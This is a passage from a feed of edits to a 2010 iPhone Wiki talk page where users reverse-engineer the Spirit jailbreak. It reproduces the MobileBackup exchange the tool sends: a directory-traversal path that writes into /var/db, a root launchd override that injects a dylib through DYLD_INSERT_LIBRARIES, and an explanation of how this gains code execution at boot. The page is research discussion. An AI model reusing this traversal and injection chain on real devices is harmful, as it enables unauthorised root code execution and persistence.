        &amp;lt;string&amp;gt;com.apple.tcpdump.server&amp;lt;/string&amp;gt;&lt;br /&gt;
        &amp;lt;key&amp;gt;ProgramArguments&amp;lt;/key&amp;gt;&lt;br /&gt;
        &amp;lt;array&amp;gt;&lt;br /&gt;
            &amp;lt;string&amp;gt;/sbin/launchd&amp;lt;/string&amp;gt;&lt;br /&gt;
        &amp;lt;/array&amp;gt;&lt;br /&gt;
        &amp;lt;key&amp;gt;RunAtLoad&amp;lt;/key&amp;gt;&lt;br /&gt;
        &amp;lt;true/&amp;gt;&lt;br /&gt;
        &amp;lt;key&amp;gt;LaunchOnlyOnce&amp;lt;/key&amp;gt;&lt;br /&gt;
        &amp;lt;true/&amp;gt;&lt;br /&gt;
        &amp;lt;key&amp;gt;UserName&amp;lt;/key&amp;gt;&lt;br /&gt;
        &amp;lt;string&amp;gt;root&amp;lt;/string&amp;gt;&lt;br /&gt;
        &amp;lt;key&amp;gt;EnvironmentVariables&amp;lt;/key&amp;gt;&lt;br /&gt;
        &amp;lt;dict&amp;gt;&lt;br /&gt;
            &amp;lt;key&amp;gt;DYLD_INSERT_LIBRARIES&amp;lt;/key&amp;gt;&lt;br /&gt;
            &amp;lt;string&amp;gt;/var/mobile/Media/spirit/one.dylib&amp;lt;/string&amp;gt;&lt;br /&gt;
        &amp;lt;/dict&amp;gt;&lt;br /&gt;
    &amp;lt;/dict&amp;gt;&lt;br /&gt;
&amp;lt;/dict&amp;gt;&lt;br /&gt;
&amp;lt;/plist&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Response:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;CFArray 00F73C30 [100B4070]&amp;gt; {&lt;br /&gt;
      type = immutable, count = 2, values = (&lt;br /&gt;
            0 : &amp;lt;CFString 00F73AE8 [100B4070]&amp;gt;{contents = &amp;quot;DLMessageProcessMessage&amp;quot;}&lt;br /&gt;
            1 : &amp;lt;CFBasicHash 00F73BE8 [100B4070]&amp;gt; {&lt;br /&gt;
                  type = immutable dict, count = 2, entries =&amp;gt;&lt;br /&gt;
                        0 : &amp;lt;CFString 00F73B68 [100B4070]&amp;gt;{contents = &amp;quot;BackupMessageTypeKey&amp;quot;} = &amp;lt;CFString 00F73BA0 [100B4070]&amp;gt;{contents = &amp;quot;BackupMessageRestoreReplyOK&amp;quot;}&lt;br /&gt;
                        1 : &amp;lt;CFString 00F73B30 [100B4070]&amp;gt;{contents = &amp;quot;BackupProtocolVersion&amp;quot;} = &amp;lt;CFString 00F74980 [100B4070]&amp;gt;{contents = &amp;quot;1.6&amp;quot;}&lt;br /&gt;
            } &lt;br /&gt;
      )&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== plist 3 - Touch .launchd_use_gmalloc====&lt;br /&gt;
Transmitted:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&lt;br /&gt;
&amp;lt;!DOCTYPE plist PUBLIC &amp;quot;-//Apple//DTD PLIST 1.0//EN&amp;quot; &amp;quot;http://www.apple.com/DTDs/PropertyList-1.0.dtd&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;plist version=&amp;quot;1.0&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;array&amp;gt;&lt;br /&gt;
	&amp;lt;string&amp;gt;DLSendFile&amp;lt;/string&amp;gt;&lt;br /&gt;
	&amp;lt;data&amp;gt;&lt;br /&gt;
	&amp;lt;/data&amp;gt;&lt;br /&gt;
	&amp;lt;dict&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;DLFileAttributesKey&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;dict/&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;DLFileDest&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;string&amp;gt;/tmp/stuff.1273860295&amp;lt;/string&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;DLFileIsEncrypted&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;integer&amp;gt;0&amp;lt;/integer&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;DLFileOffsetKey&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;integer&amp;gt;0&amp;lt;/integer&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;DLFileSource&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;string&amp;gt;/tmp/stuff.1273860295&amp;lt;/string&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;DLFileStatusKey&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;integer&amp;gt;2&amp;lt;/integer&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;Path&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;string&amp;gt;Library/Preferences/SystemConfiguration/../../../../../var/db/.launchd_use_gmalloc&amp;lt;/string&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;Version&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;string&amp;gt;3.0&amp;lt;/string&amp;gt;&lt;br /&gt;
	&amp;lt;/dict&amp;gt;&lt;br /&gt;
&amp;lt;/array&amp;gt;&lt;br /&gt;
&amp;lt;/plist&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Response:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;CFArray 00F80D70 [100B4070]&amp;gt; {     &lt;br /&gt;
      type = immutable, count = 2, values = (&lt;br /&gt;
            0 : &amp;lt;CFString 00F73C60 [100B4070]&amp;gt;{contents = &amp;quot;DLMessageProcessMessage&amp;quot;} &lt;br /&gt;
            1 : &amp;lt;CFBasicHash 00F80D28 [100B4070]&amp;gt; {&lt;br /&gt;
                  type = immutable dict, count = 2, entries =&amp;gt;&lt;br /&gt;
                  0 : &amp;lt;CFString 00F7D4B0 [100B4070]&amp;gt;{contents = &amp;quot;BackupMessageTypeKey&amp;quot;} = &amp;lt;CFString 00F80CA8 [100B4070]&amp;gt;{contents = &amp;quot;BackupMessageRestoreFileReceived&amp;quot;}&lt;br /&gt;
                  2 : &amp;lt;CFString 00F80C70 [100B4070]&amp;gt;{contents = &amp;quot;BackupRestoreFileName&amp;quot;} = &amp;lt;CFString 00F80CF0 [100B4070]&amp;gt;{contents = &amp;quot;/tmp/stuff.1273764810&amp;quot;}&lt;br /&gt;
            } &lt;br /&gt;
      )&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
-[[User:EnohpiDesrever|EnohpiDesrever]] 16:11, 17 May 2010 (UTC)&lt;/div&gt;</summary>
		<author><name>EnohpiDesrever</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Talk:Spirit&amp;diff=6407</id>
		<title>Talk:Spirit</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Talk:Spirit&amp;diff=6407"/>
		<updated>2010-05-17T19:09:00Z</updated>

		<summary type="html">&lt;p&gt;EnohpiDesrever: /* More Reversings */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;There exists also a tool called [[Spirit Fixer|Spirit Fixer v1.01]], written by [[Kirma]]. Anybody knows what that is? Here's a link: http://twitter.com/elior231/status/13296125900&lt;br /&gt;
&lt;br /&gt;
--[[User:Http|http]] 21:42, 4 May 2010 (UTC)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I'd love to see a technical writeup of everything, although I don't blame you if you don't. I'm lazy about those things too. As far as trying to keep it secret from Apple, I don't feel theres a point, they'll find it no matter what we do.&lt;br /&gt;
&lt;br /&gt;
--[[User:Geohot|geohot]] 14:02, 5 May 2010 (UTC)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I have started reverse engineering Spirit and making some UML(like) data flow and function diagrams. The problem is that I am guessing at too many things since I did not wana post anything and have someone get pissed it was out there. I am up for putting a formal brief together if others want to collaborate. I would imagine as Geohot said, that apple had this disassembled before the .tar was dry. Not to mention that they are not just looking for the exploit that was used (since they most likely had a whiteboard full of potentials during design) , they are looking for copyright violations and their stollen code in every bit of its bits.  &lt;br /&gt;
&lt;br /&gt;
--KodeSlinger 16:31, 5 May 2010 (UTC)&lt;br /&gt;
&lt;br /&gt;
Meh, as mentioned on spiritjb.com, once Apple has shown that they've fixed it, the source will be released anyway. - MuscleNerd&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
@MuscleNerd - I started working on it BS (Before Spirit :) ), to create a centralized location that dynamically maps (HW/FW/SW) physical and logical drawings together. My thought was something like this wiki on crack. Ideally to generate functional diagrams of the idevice that act as a starting point to link to more detailed sections pertaining to that functions exploits, related functions, and source code samples(or any other data). Since I am new to this community I have been trying to organize this data for my own brain, and thought others might use it. I will post some screen shots later. The more organized we are the easier it will be to exploit the next vulnerability. &lt;br /&gt;
--[[User:Viper911h|KodeSlinger]] 20:11, 5 May 2010 (UTC)&lt;br /&gt;
&lt;br /&gt;
Oh hah, cool :)  If you do that though, obviously you shouldn't go overboard and start publicly discussing variations of this that would help Apple close other holes yet to be exploited (it sounds like your well-versed enough to do that!) - MuscleNerd&lt;br /&gt;
&lt;br /&gt;
@MuscleNerd - Hah; yeah obviously cool kidz only lol --[[User:Viper911h|KodeSlinger]] 21:08, 5 May 2010 (UTC)&lt;br /&gt;
&lt;br /&gt;
== Reversing Spirit ==&lt;br /&gt;
&lt;br /&gt;
I just started reversing Spirit and thought I'd share what I learned so far in hopes of hearing more from others.&lt;br /&gt;
&lt;br /&gt;
Spirit.exe extracts a bunch of files into a temp directory as follows:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
+ Documents and Settings/&amp;lt;User&amp;gt;/Local Settings/spiritxxx&lt;br /&gt;
|&lt;br /&gt;
+ - dl&lt;br /&gt;
|   |&lt;br /&gt;
|   + - dl.exe&lt;br /&gt;
|&lt;br /&gt;
+ - igor&lt;br /&gt;
|   |&lt;br /&gt;
|   + - 2dcde0a77381d24b7c02ac0cf7f714434c4ccdcf.dylib&lt;br /&gt;
|   + - 3e404d11fcbd5486d3be2dd86ce21316e1854842.dylib&lt;br /&gt;
|   + - 74227c0021c5e12effb5bd3175eb469a8df0622e.dylib&lt;br /&gt;
|   + - b735701843456754988021d128c2671ee36d1b04.dylib&lt;br /&gt;
|   + - f6c17e934ba0ad477812de0b7cb019396d259d93.dylib&lt;br /&gt;
|   + - install&lt;br /&gt;
|   + - map.plist&lt;br /&gt;
|&lt;br /&gt;
+ - resources&lt;br /&gt;
    |&lt;br /&gt;
    + - 320x480.jpg&lt;br /&gt;
    + - 1024x768.jpg&lt;br /&gt;
    + - overrides.plist&lt;br /&gt;
    + - icon.ico&lt;br /&gt;
&amp;lt;/pre&amp;gt; &lt;br /&gt;
&lt;br /&gt;
Spirit.exe is simply a GUI wrapper for dl.exe, which does the heavy lifting and is written using the cross-platform library CoreFoundation.dll.  Dl.exe uses the iTunes DLL to get access to the iDevice, registering a callback function through AMDeviceNotificationSubscribe.  The callback function launches a thread, which uploads 4 files as follows:&lt;br /&gt;
&lt;br /&gt;
# One of the dylibs (depending on the iDevice version?) is uploaded as /var/mobile/Media/spirit/one.dylib&lt;br /&gt;
# The Mach-O ARM executable &amp;quot;install&amp;quot; is uploaded as /var/mobile/Media/spirit/install&lt;br /&gt;
# The Spirit.exe is uploaded as /var/mobile/Media/spirit/freeze.tar.xz&lt;br /&gt;
# One of the jpgs is uploaded as /var/mobile/Media/spirit/bg.jpg&lt;br /&gt;
&lt;br /&gt;
After the files are uploaded, the upload thread signals to the main thread that the files are ready.  The main thread then sends over two plists (shown at the end of the log below) via MobileBackup.&lt;br /&gt;
&lt;br /&gt;
As I've only just started looking at this, and I'm also new to the iPhone scene, I have lots of questions.&lt;br /&gt;
&lt;br /&gt;
# Is the MobileBackup interface documented anywhere?  Was it used in other jb tools before Spirit?&lt;br /&gt;
# Why is Spirit.exe uploaded to the iDevice as freeze.tar.xz?&lt;br /&gt;
# What purpose do map.plist and overrides.plist serve?&lt;br /&gt;
# What are the two plists sent at the end of the transfer, and how do they allow the &amp;quot;install&amp;quot; image to be executed?&lt;br /&gt;
# What does install do to provide an untethered solution?&lt;br /&gt;
&lt;br /&gt;
I'll post more as I learn, but it would be nice to hear if others have made more progress.&lt;br /&gt;
&lt;br /&gt;
-[[User:EnohpiDesrever|EnohpiDesrever]] 16:47, 14 May 2010 (UTC)&lt;br /&gt;
&lt;br /&gt;
# Don't think it's documented.&lt;br /&gt;
# Actually, freeze.tar.xz is tacked on to Spirit.exe, after the string 'magicmagicmagicm'.  xz is http://tukaani.org/xz/&lt;br /&gt;
# One maps firmware version to the dylib that should be uploaded.  The other is read by launchd.&lt;br /&gt;
# Just look at the contents of overrides.plist and the launchd source.  The nefarious part is actually getting that file in the appropriate directory.  (Note that overrides is only used for the initial install, because launchd spawns everything at once and the following solution ensures the exploit is run first.)&lt;br /&gt;
# By installing itself as /usr/lib/libgmalloc.dylib.  To quote saurik: &amp;quot;if you touch the file /var/db/.launchd_use_gmalloc, then the first thing launchd does is set DYLD_INSERT_LIBRARIES to /usr/lib/libgmalloc.dylib and restart itself&amp;quot;&lt;br /&gt;
&lt;br /&gt;
--[[User:Comex|Comex]] 22:54, 14 May 2010 (UTC)&lt;br /&gt;
&lt;br /&gt;
== More Reversings ==&lt;br /&gt;
&lt;br /&gt;
Thanks for your response, Comex, and thanks for the jailbreak!  Hope you don't mind me posting what I learn here.  I figure that Apple's got to be way ahead of my progress if they care at all to fix the vulnerability.  I have some more questions for you, if you don't mind, based on the MobileBackup dialogue I found in Spirit (see below).&lt;br /&gt;
&lt;br /&gt;
# What type of encoding is used to encode the overrides file that is uploaded?  Ah...looks like Base64.&lt;br /&gt;
# How is /tmp/stuff.1273860295 used to touch launchd_use_gmalloc?&lt;br /&gt;
# Is the crazy directory traversal (Library/Preferences/SystemConfiguration/../../../../../) necessary to circumvent security or just an artifact?&lt;br /&gt;
&lt;br /&gt;
So, let me see if I understand the vulnerabilities that you are exploiting.  You found a way to override the environment variable DYLD_INSERT_LIBRARIES via MobileBackup to point to your own library (/var/mobile/Media/spirit/one.dylib).  You then installed your own patched version of /usr/lib/libgmalloc.dylib, which gets loaded everytime the device boots up and launchd is executed.&lt;br /&gt;
&lt;br /&gt;
Below is the MobileBackup dialogue I extracted.&lt;br /&gt;
&lt;br /&gt;
==== plist 0 - Version Exchange ====&lt;br /&gt;
&lt;br /&gt;
Transmitted:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&lt;br /&gt;
&amp;lt;!DOCTYPE plist PUBLIC &amp;quot;-//Apple//DTD PLIST 1.0//EN&amp;quot; &amp;quot;http://www.apple.com/DTDs/PropertyList-1.0.dtd&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;plist version=&amp;quot;1.0&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;array&amp;gt;&lt;br /&gt;
	&amp;lt;string&amp;gt;DLMessageVersionExchange&amp;lt;/string&amp;gt;&lt;br /&gt;
	&amp;lt;string&amp;gt;DLVersionsOk&amp;lt;/string&amp;gt;&lt;br /&gt;
&amp;lt;/array&amp;gt;&lt;br /&gt;
&amp;lt;/plist&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Response:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;CFArray 00F72AE0 [100B4070]&amp;gt;{&lt;br /&gt;
        type = immutable, count = 3, values = (&lt;br /&gt;
                0 : &amp;lt;CFString 00F72A70 [100B4070]&amp;gt;{contents = &amp;quot;DLMessageVersionExchange&amp;quot; }&lt;br /&gt;
                1 : &amp;lt;CFNumber 00F80F08 [100B4070]&amp;gt;{value = +100, type = kCFNumberSInt64Type}&lt;br /&gt;
                2 : &amp;lt;CFNumber 00F72AB8 [100B4070]&amp;gt;{value = +0, type = kCFNumberSInt32Type}&lt;br /&gt;
        )&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== plist 1 - Restore Request ====&lt;br /&gt;
Transmitted:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&lt;br /&gt;
&amp;lt;!DOCTYPE plist PUBLIC &amp;quot;-//Apple//DTD PLIST 1.0//EN&amp;quot; &amp;quot;http://www.apple.com/DTDs/PropertyList-1.0.dtd&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;plist version=&amp;quot;1.0&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;array&amp;gt;&lt;br /&gt;
	&amp;lt;string&amp;gt;DLMessageProcessMessage&amp;lt;/string&amp;gt;&lt;br /&gt;
	&amp;lt;dict&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;BackupManifestKey&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;dict&amp;gt;&lt;br /&gt;
			&amp;lt;key&amp;gt;AuthSignature&amp;lt;/key&amp;gt;&lt;br /&gt;
			&amp;lt;data&amp;gt;&lt;br /&gt;
			7ZSsx9DFT5h7/4rkU1uJJebKwbc=&lt;br /&gt;
			&amp;lt;/data&amp;gt;&lt;br /&gt;
			&amp;lt;key&amp;gt;AuthVersion&amp;lt;/key&amp;gt;&lt;br /&gt;
			&amp;lt;string&amp;gt;2.0&amp;lt;/string&amp;gt;&lt;br /&gt;
			&amp;lt;key&amp;gt;Data&amp;lt;/key&amp;gt;&lt;br /&gt;
			&amp;lt;data&amp;gt;&lt;br /&gt;
			PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4K&lt;br /&gt;
			PCFET0NUWVBFIHBsaXN0IFBVQkxJQyAiLS8vQXBwbGUvL0RURCBQ&lt;br /&gt;
			TElTVCAxLjAvL0VOIiAiaHR0cDovL3d3dy5hcHBsZS5jb20vRFRE&lt;br /&gt;
			cy9Qcm9wZXJ0eUxpc3QtMS4wLmR0ZCI+CjxwbGlzdCB2ZXJzaW9u&lt;br /&gt;
			PSIxLjAiPgo8ZGljdD4KCTxrZXk+QXBwbGljYXRpb25zPC9rZXk+&lt;br /&gt;
			Cgk8ZGljdC8+Cgk8a2V5PkRldmljZUlkPC9rZXk+Cgk8c3RyaW5n&lt;br /&gt;
			PmYzNjQ3OGI3OTUzYzZhZWFkMTlmOGYzMTZhZmIzYzBmNDg2YWMz&lt;br /&gt;
			OWI8L3N0cmluZz4KCTxrZXk+RmlsZXM8L2tleT4KCTxkaWN0PgoJ&lt;br /&gt;
			CTxrZXk+NjYxZjVhMTYyMTk1ODhjNmU4NDY3MzVjNjYzZmJlMzFl&lt;br /&gt;
			NWY4NGRhNTwva2V5PgoJCTxkaWN0PgoJCQk8a2V5PkRhdGFIYXNo&lt;br /&gt;
			PC9rZXk+CgkJCTxkYXRhPgoJCQlxZytPdnJUWXM0T1oxQjdZTFJS&lt;br /&gt;
			WURFbE82bDg9CgkJCTwvZGF0YT4KCQkJPGtleT5Eb21haW48L2tl&lt;br /&gt;
			eT4KCQkJPHN0cmluZz5Ib21lRG9tYWluPC9zdHJpbmc+CgkJCTxr&lt;br /&gt;
			ZXk+RmlsZUxlbmd0aDwva2V5PgoJCQk8aW50ZWdlcj45MjI8L2lu&lt;br /&gt;
			dGVnZXI+CgkJCTxrZXk+R3JvdXAgSUQ8L2tleT4KCQkJPGludGVn&lt;br /&gt;
			ZXI+MDwvaW50ZWdlcj4KCQkJPGtleT5Nb2RlPC9rZXk+CgkJCTxp&lt;br /&gt;
			bnRlZ2VyPjM4NDwvaW50ZWdlcj4KCQkJPGtleT5Nb2RpZmljYXRp&lt;br /&gt;
			b25UaW1lPC9rZXk+CgkJCTxkYXRlPjIwNjUtMDEtMTVUMTk6MDk6&lt;br /&gt;
			NDZaPC9kYXRlPgoJCQk8a2V5PlVzZXIgSUQ8L2tleT4KCQkJPGlu&lt;br /&gt;
			dGVnZXI+MDwvaW50ZWdlcj4KCQk8L2RpY3Q+CgkJPGtleT5iYTdl&lt;br /&gt;
			NDM1MzRjZDVhOThkZTA4MGU2MTQxYmVhZjVkYzAwNGFkMjM3PC9r&lt;br /&gt;
			ZXk+CgkJPGRpY3Q+CgkJCTxrZXk+RGF0YUhhc2g8L2tleT4KCQkJ&lt;br /&gt;
			PGRhdGE+CgkJCW1TWGRRNGlLZWQ3SFMvS3IyRWNPSFE0TEliST0K&lt;br /&gt;
			CQkJPC9kYXRhPgoJCQk8a2V5PkRvbWFpbjwva2V5PgoJCQk8c3Ry&lt;br /&gt;
			aW5nPkhvbWVEb21haW48L3N0cmluZz4KCQkJPGtleT5GaWxlTGVu&lt;br /&gt;
			Z3RoPC9rZXk+CgkJCTxpbnRlZ2VyPjA8L2ludGVnZXI+CgkJCTxr&lt;br /&gt;
			ZXk+R3JvdXAgSUQ8L2tleT4KCQkJPGludGVnZXI+MDwvaW50ZWdl&lt;br /&gt;
			cj4KCQkJPGtleT5Nb2RlPC9rZXk+CgkJCTxpbnRlZ2VyPjM4NDwv&lt;br /&gt;
			aW50ZWdlcj4KCQkJPGtleT5Nb2RpZmljYXRpb25UaW1lPC9rZXk+&lt;br /&gt;
			CgkJCTxkYXRlPjIwNjUtMDEtMTVUMTk6MDk6NDZaPC9kYXRlPgoJ&lt;br /&gt;
			CQk8a2V5PlVzZXIgSUQ8L2tleT4KCQkJPGludGVnZXI+MDwvaW50&lt;br /&gt;
			ZWdlcj4KCQk8L2RpY3Q+Cgk8L2RpY3Q+Cgk8a2V5PlZlcnNpb248&lt;br /&gt;
			L2tleT4KCTxzdHJpbmc+Ni4yPC9zdHJpbmc+CjwvZGljdD4KPC9w&lt;br /&gt;
			bGlzdD4K&lt;br /&gt;
			&amp;lt;/data&amp;gt;&lt;br /&gt;
			&amp;lt;key&amp;gt;IsEncrypted&amp;lt;/key&amp;gt;&lt;br /&gt;
			&amp;lt;integer&amp;gt;0&amp;lt;/integer&amp;gt;&lt;br /&gt;
		&amp;lt;/dict&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;BackupMessageTypeKey&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;string&amp;gt;kBackupMessageRestoreRequest&amp;lt;/string&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;BackupNotifySpringBoard&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;true/&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;BackupPreserveCameraRoll&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;true/&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;BackupProtocolVersion&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;string&amp;gt;3.0&amp;lt;/string&amp;gt;&lt;br /&gt;
	&amp;lt;/dict&amp;gt;&lt;br /&gt;
&amp;lt;/array&amp;gt;&lt;br /&gt;
&amp;lt;/plist&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Transmitted Data Chunk (Decoded as Base64):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&lt;br /&gt;
&amp;lt;!DOCTYPE plist PUBLIC &amp;quot;-//Apple//DTD PLIST 1.0//EN&amp;quot; &amp;quot;http://www.apple.com/DTDs/PropertyList-1.0.dtd&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;plist version=&amp;quot;1.0&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;dict&amp;gt;&lt;br /&gt;
	&amp;lt;key&amp;gt;Applications&amp;lt;/key&amp;gt;&lt;br /&gt;
	&amp;lt;dict/&amp;gt;&lt;br /&gt;
	&amp;lt;key&amp;gt;DeviceId&amp;lt;/key&amp;gt;&lt;br /&gt;
	&amp;lt;string&amp;gt;f36478b7953c6aead19f8f316afb3c0f486ac39b&amp;lt;/string&amp;gt;&lt;br /&gt;
	&amp;lt;key&amp;gt;Files&amp;lt;/key&amp;gt;&lt;br /&gt;
	&amp;lt;dict&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;661f5a16219588c6e846735c663fbe31e5f84da5&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;dict&amp;gt;&lt;br /&gt;
			&amp;lt;key&amp;gt;DataHash&amp;lt;/key&amp;gt;&lt;br /&gt;
			&amp;lt;data&amp;gt;&lt;br /&gt;
			qg+OvrTYs4OZ1B7YLRRYDElO6l8=&lt;br /&gt;
			&amp;lt;/data&amp;gt;&lt;br /&gt;
			&amp;lt;key&amp;gt;Domain&amp;lt;/key&amp;gt;&lt;br /&gt;
			&amp;lt;string&amp;gt;HomeDomain&amp;lt;/string&amp;gt;&lt;br /&gt;
			&amp;lt;key&amp;gt;FileLength&amp;lt;/key&amp;gt;&lt;br /&gt;
			&amp;lt;integer&amp;gt;922&amp;lt;/integer&amp;gt;&lt;br /&gt;
			&amp;lt;key&amp;gt;Group ID&amp;lt;/key&amp;gt;&lt;br /&gt;
			&amp;lt;integer&amp;gt;0&amp;lt;/integer&amp;gt;&lt;br /&gt;
			&amp;lt;key&amp;gt;Mode&amp;lt;/key&amp;gt;&lt;br /&gt;
			&amp;lt;integer&amp;gt;384&amp;lt;/integer&amp;gt;&lt;br /&gt;
			&amp;lt;key&amp;gt;ModificationTime&amp;lt;/key&amp;gt;&lt;br /&gt;
			&amp;lt;date&amp;gt;2065-01-15T19:09:46Z&amp;lt;/date&amp;gt;&lt;br /&gt;
			&amp;lt;key&amp;gt;User ID&amp;lt;/key&amp;gt;&lt;br /&gt;
			&amp;lt;integer&amp;gt;0&amp;lt;/integer&amp;gt;&lt;br /&gt;
		&amp;lt;/dict&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;ba7e43534cd5a98de080e6141beaf5dc004ad237&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;dict&amp;gt;&lt;br /&gt;
			&amp;lt;key&amp;gt;DataHash&amp;lt;/key&amp;gt;&lt;br /&gt;
			&amp;lt;data&amp;gt;&lt;br /&gt;
			mSXdQ4iKed7HS/Kr2EcOHQ4LIbI=&lt;br /&gt;
			&amp;lt;/data&amp;gt;&lt;br /&gt;
			&amp;lt;key&amp;gt;Domain&amp;lt;/key&amp;gt;&lt;br /&gt;
			&amp;lt;string&amp;gt;HomeDomain&amp;lt;/string&amp;gt;&lt;br /&gt;
			&amp;lt;key&amp;gt;FileLength&amp;lt;/key&amp;gt;&lt;br /&gt;
			&amp;lt;integer&amp;gt;0&amp;lt;/integer&amp;gt;&lt;br /&gt;
			&amp;lt;key&amp;gt;Group ID&amp;lt;/key&amp;gt;&lt;br /&gt;
			&amp;lt;integer&amp;gt;0&amp;lt;/integer&amp;gt;&lt;br /&gt;
			&amp;lt;key&amp;gt;Mode&amp;lt;/key&amp;gt;&lt;br /&gt;
			&amp;lt;integer&amp;gt;384&amp;lt;/integer&amp;gt;&lt;br /&gt;
			&amp;lt;key&amp;gt;ModificationTime&amp;lt;/key&amp;gt;&lt;br /&gt;
			&amp;lt;date&amp;gt;2065-01-15T19:09:46Z&amp;lt;/date&amp;gt;&lt;br /&gt;
			&amp;lt;key&amp;gt;User ID&amp;lt;/key&amp;gt;&lt;br /&gt;
			&amp;lt;integer&amp;gt;0&amp;lt;/integer&amp;gt;&lt;br /&gt;
		&amp;lt;/dict&amp;gt;&lt;br /&gt;
	&amp;lt;/dict&amp;gt;&lt;br /&gt;
	&amp;lt;key&amp;gt;Version&amp;lt;/key&amp;gt;&lt;br /&gt;
	&amp;lt;string&amp;gt;6.2&amp;lt;/string&amp;gt;&lt;br /&gt;
&amp;lt;/dict&amp;gt;&lt;br /&gt;
&amp;lt;/plist&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Response:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;CFArray 00F7BFB0 [100B4070]&amp;gt;{&lt;br /&gt;
        type = immutable, count = 1, values = (&lt;br /&gt;
                0 : &amp;lt;CFString 00F7BF78 [100B4070]&amp;gt;{contents = &amp;quot;DLMessageDeviceReady&amp;quot;}&lt;br /&gt;
        )&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== plist 2 - Upload Overrides ====&lt;br /&gt;
Transmitted:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&lt;br /&gt;
&amp;lt;!DOCTYPE plist PUBLIC &amp;quot;-//Apple//DTD PLIST 1.0//EN&amp;quot; &amp;quot;http://www.apple.com/DTDs/PropertyList-1.0.dtd&amp;quot;&amp;gt;&lt;br /&gt;
